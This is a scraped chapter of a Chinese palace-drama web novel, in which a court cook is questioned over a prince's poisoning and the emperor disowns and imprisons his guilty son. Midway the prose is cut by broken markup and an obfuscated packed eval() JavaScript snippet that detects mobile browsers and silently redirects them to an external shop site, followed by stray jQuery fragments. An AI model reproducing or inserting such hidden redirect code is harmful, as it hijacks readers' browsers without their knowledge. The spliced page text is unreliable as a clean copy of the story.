文趣网 > 都市小说 > 穿回古代掌大勺 > 53. 毒发(二)
    传旨的内侍催得急,只说陛下召见,半个字不肯多透。杜禾饴跟着一路疾走,心跳快得几乎要把嗓子眼顶破。

    “杜禾饴。”皇帝的声音从上方落下。

    她跪在殿中,额头贴着手背,余光只敢落在自己膝前三寸:“奴婢在。”

    “三殿下近日的膳食,是你一手经管的?”

    杜禾饴回答:“回陛下,是奴婢。三殿下的药膳与羹汤,每日的茶饮,皆由奴婢亲制。”

    “那你说说,都用了些什么?”

    杜禾饴心中猛地一紧,也顾不上什么僭越不僭越了,脱口便问:“陛下,可是殿下出了什么事?”

    皇帝眉头微动,似乎没料到一个司膳女官敢这般直接回问,不等他开口,蒋济已经向前半步,拱手低声道:“杜司膳,三殿下中毒,眼下需比对近日膳方,方便对症下药。”

    杜禾饴眼前几乎黑了一瞬,李珩中毒了?昨日不是说已经好了吗?

    “杜司膳?”蒋济又唤了她一声。

    她猛地回过神,心口像有只手在攥着,拧得她喘不上气。

    皇后站在皇帝身后半步,广袖低垂,趁皇帝侧首与蒋济说话,几不可见地朝杜禾饴颔了颔首。

    那目光是清清楚楚地告诉她:无恙,稳住。

    杜禾饴深吸一口气:“回陛下,蒋太医,奴婢为三殿下准备的膳食,遵的是温补旧方,以黄芪、党参为底,辅以白术、茯苓,意在固本培元,不涉峻烈之药。”

    “近半月来,奴婢唯一调整过的,是将鸽子汤中的枸杞换成了山药,因殿下入秋后略有些胃燥,山药更平和不滋腻。除此之外,方子一成未改。若有差池……奴婢甘愿领罪。”

    “蒋济,你领着杜禾饴,即刻拟解毒的方子来!”

    蒋济躬身:“老臣遵命。”

    二人正要起身退出殿外,一名小黄门疾步而入,俯身凑近御座:“陛下,大理寺那边传来消息,已经审出了眉目,少卿请陛下移步。”

    皇帝将袖口一拂,转身便朝殿外走去。

    殿门合拢,发出一声低沉的闷响,将满殿的寂静与跪拜的人影一并关在了里头。

    杜禾饴跪在原地,望着皇帝消失在门外,胸口那颗心又因为李珩悬了起来。

    她悄悄转头看向皇后,皇后仍立在那儿,神色淡淡,低声道:“不必多问,先做好你的事,珩儿身体无恙,他心中有数。”

    杜禾饴咬住嘴唇,还是忍不住在心里骂了一句:李珩,你给我撑住了,别乱来。

    *

    太子亲自督办的案子,大理寺不敢不快。

    正如太子所料,那名管事确实失踪了,但大理寺在他住处搜出了一只暗格,暗格设在他床榻墙砖之后,砖缝用泥灰封过,若非大理寺的人拿着铁尺一寸一寸敲过去,根本发现不了。格中有半瓶未用完的药粉以及一封信函。

    信函十分内容隐晦,大意是事成之后,管事调任庄头,另赏百金。

    落款处没有署名,但信笺的纸质和印章,账房先生已招认是李泰授意所写。

    瓶口封蜡完好,里头还剩小半瓶粉末。药匠验过,证实与三皇子体内的毒素一致,同出一源。

    最后太子呈上一本薄册,由素绢裹着:“大理寺从账房夹层搜出的底账,儿臣未敢翻看。”

    皇帝翻开册页,每翻一页,面色便沉一分,指腹按在封皮上的力道几乎要印出凹陷来。

    翻了不过寥寥几页,那薄册被皇帝啪地合上。

    皇帝坐在榻沿,左边是他昏迷不醒的幼子,右边是刺目的证据,中间隔着一点空隙。帝王半生的信任与温情,正从那道缝隙里无声地漏出去,一点不剩。

    良久,皇帝开口:“赵德安,随朕去御书房。”

    物证呈上,李泰只看了一眼便道:“父皇,这些只能证明儿臣府上有人与青苗勾结,并不能证明是儿臣授意。”

    他抬起头,强装镇定:“管事逃了,账房先生的供词可以是被屈打成招。父皇若以此定罪,儿臣不服。”

    李泰说完这番话,甚至微微抬了抬下颌,给自己撑起最后一道防线。烛火映在他脸上,将那强撑的镇定照得纤毫毕现。

    皇帝弯腰,从地上捡起那封残信,将信纸悬在跪着的李泰眼前,纸张因李泰辩解时吐出的气息微微颤动。

    “这纸上的字,”皇帝开口,“你认得是谁的笔迹么?”

    李泰喉结微微一动:“账房先生的。”

    “这封信用的是你王府的松花笺,掺了你惯用的金粉墨,落的是你闲章的印。”

    皇帝将信纸往前递,几要贴上李泰的鼻尖,“你的账房先生安排一桩毒杀亲弟的买卖,你告诉朕,这只能证明你府上有人勾结?”

    李泰的嘴唇动了动,皇帝没给他开口的机会。

    “你府上一个管事,青苗一个厨房的小宫女,账房先生一年见不了珩儿一面,何来冤仇?”

    “你告诉朕,三个素不相识的人,是谁把他们串到了一根绳上?是你府上的风水不好,还是你王府的门楣会自动替主人结仇?”

    李泰终于撑不住了。

    他双手撑地,额角的汗从鬓边滑下来,显出深深的不安来:“父皇……儿臣的意思是……”

    “你的意思是,管事自作主张、账房被人收买、青苗受人胁迫。你干干净净坐在府里喝茶赏花,什么都不知道。”

    这些话砸下来,李泰整个人一颤。

    皇帝猛地抬脚,将那本薄册踢到李泰膝前,册子撞上李泰的膝盖又弹开,翻了几页停在某一处。

    皇帝指着那敞开的页面,手背上的青筋暴起:“你当朕是个老糊涂,随便编几句就能打发过去?”

    李泰的呼吸彻底乱了,他伏下身急道:“父皇,儿臣真的没有……儿臣不知道这些银子的事……那管事手脚不干净,一定是他在外头欠了赌债被人收买……”

    “被人收买。”皇帝一掌掴过去,“被谁收买?你告诉朕,除了你李泰,这宫里还有谁要你弟弟的命?还有谁——”

    御座之下,那半边脸颊高高肿起的身影正瑟瑟发抖。皇帝垂眼望着这个儿子,一股深重的倦怠感,无声地漫了上来。

    皇帝雷霆般的怒意像被抽走了一般,只剩下一层干裂的余烬,“泰儿,你抬起头。”

    李泰颤巍巍地抬起脸,满额是汗。

    “朕判你,你自然不服。可你扪心自问,朕方才说的每一句话,你哪一句能答得上来?”

    皇帝弯下腰与他平视,“你自然答不上来。因为你想了这些年争储的路,从没想过路尽头在朕这里。你弟弟躺在榻上喘气,你却跪在这里跟朕说不服。”

    李泰唇瓣翕动,终是滚下两行泪来。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726158|204176||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    皇帝直起身退后一步,袍摆从李泰身边拂过,冷冰冰的开口:“朕已替你安置妥当,城西旧邸,足够你用余生的每一天,将此间细细想个明白。”

    这是圈禁的意思。

    李泰心头猛地一空,城西旧邸是活着的坟。

    里头高墙铁锁,专人侍奉,往后每餐饭要验毒,每句话要记录,连窗外那方天能看见几寸,都由不得他。

    不!

    这个字在胸膛里炸开,烧得他五脏六腑都在颤。

    他是李泰,是父皇亲手抱过、夸过聪敏绝伦的亲王,曾与朝臣谈笑风生。

    曾以为自己离那张龙椅不过一步之遥,他怎能在城西老屋里,像个活死人一样咽下往后几十年的光阴?

    恐惧压倒了一切。

    他顾不上肿痛的脸颊,顾不上皇子体面,整个人扑倒下去,额头磕在皇帝靴前的金砖上,双手死死攥住那片即将抽离的袍角。

    “父皇——”声音嘶哑得不像自己,李泰仰起头,泪和血混在嘴角,眼睛里全是濒死之人才有的光,“不是儿臣!儿臣不敢!是贤妃,是母妃逼儿臣的,是她逼的!”

    他语无伦次,身子蜷在御座脚下发抖,喉间滚出含混的哭腔:“儿臣愚钝,鬼迷了心窍……父皇,您信我,您信我啊……”

    他把自己碾得碎碎的,匍匐在尘埃里,只盼那一丝天恩能从高处重新落下来,哪怕只有一缕,他也不至于被推进那座等死的旧宅里去。

    如同一根极细的冰锥,“贤妃”二字从李泰口中吐出来的瞬间,从耳道直贯入脑髓。皇帝看着涕泪横流的儿子,此刻正像一条摇尾乞怜的犬,把最后一分骨血都碾碎了献出来,只为换一座稍微宽敞些的牢笼。

    刹那间,所有的怜悯,那点残存的父子旧情,统统被一把怒火烧成了灰烬。

    皇帝猛地抽回袍角。李泰猝不及防整个人朝前一扑,额头磕在御阶棱角上,发出一声闷响。

    可皇帝连看都没看那滩血,他抬腿照着李泰的肩膀狠狠踹了下去——

    李泰像一只破布袋般翻倒在地,半边身子撞上立柱,嘴里“嗬”了一声,却连痛呼都噎在了喉咙里,只剩眼睛惊恐地大睁着。

    “你再说一遍。谁逼的你?”

    李泰嘴唇翕动,方才的栽赃已经用光了他全部的勇气。

    此刻他仰头望见父皇的眼神,才终于意识到自己做了什么。他把最后一张牌打出去,然后发现那是催命的符。

    “父皇……儿臣……”李泰舌头打结,血从额角淌进眼睛,混着泪腌得生疼,“儿臣糊涂……是,是儿臣自己……”

    “晚了。”

    皇帝平静地打断他,而这平静比暴怒更可怕。皇帝慢慢开口,“现在朕改主意了。”

    他转身,没有再看李泰一眼,只沉声敕令:“李泰构陷宗亲,攀诬母妃,罪无可赦。即日起,废为庶人,逐出宗籍,押送城西旧邸,永不叙用。”

    李泰喉咙里发出一声类似野兽临终时才有的呜咽,他想扑上去,想抱住父皇的腿,可浑身的力气早散尽了,挣扎两下只在地上拖出一道血痕,最终像一摊烂泥般伏在金砖上,再也动弹不得。

    日光从门缝里漏进来一线,正照在李泰脸上,他脸半边肿着,额角淌着血,一双眼睛空茫茫地盯着那片越来越窄的光,忽然间,什么声音都发不出来了。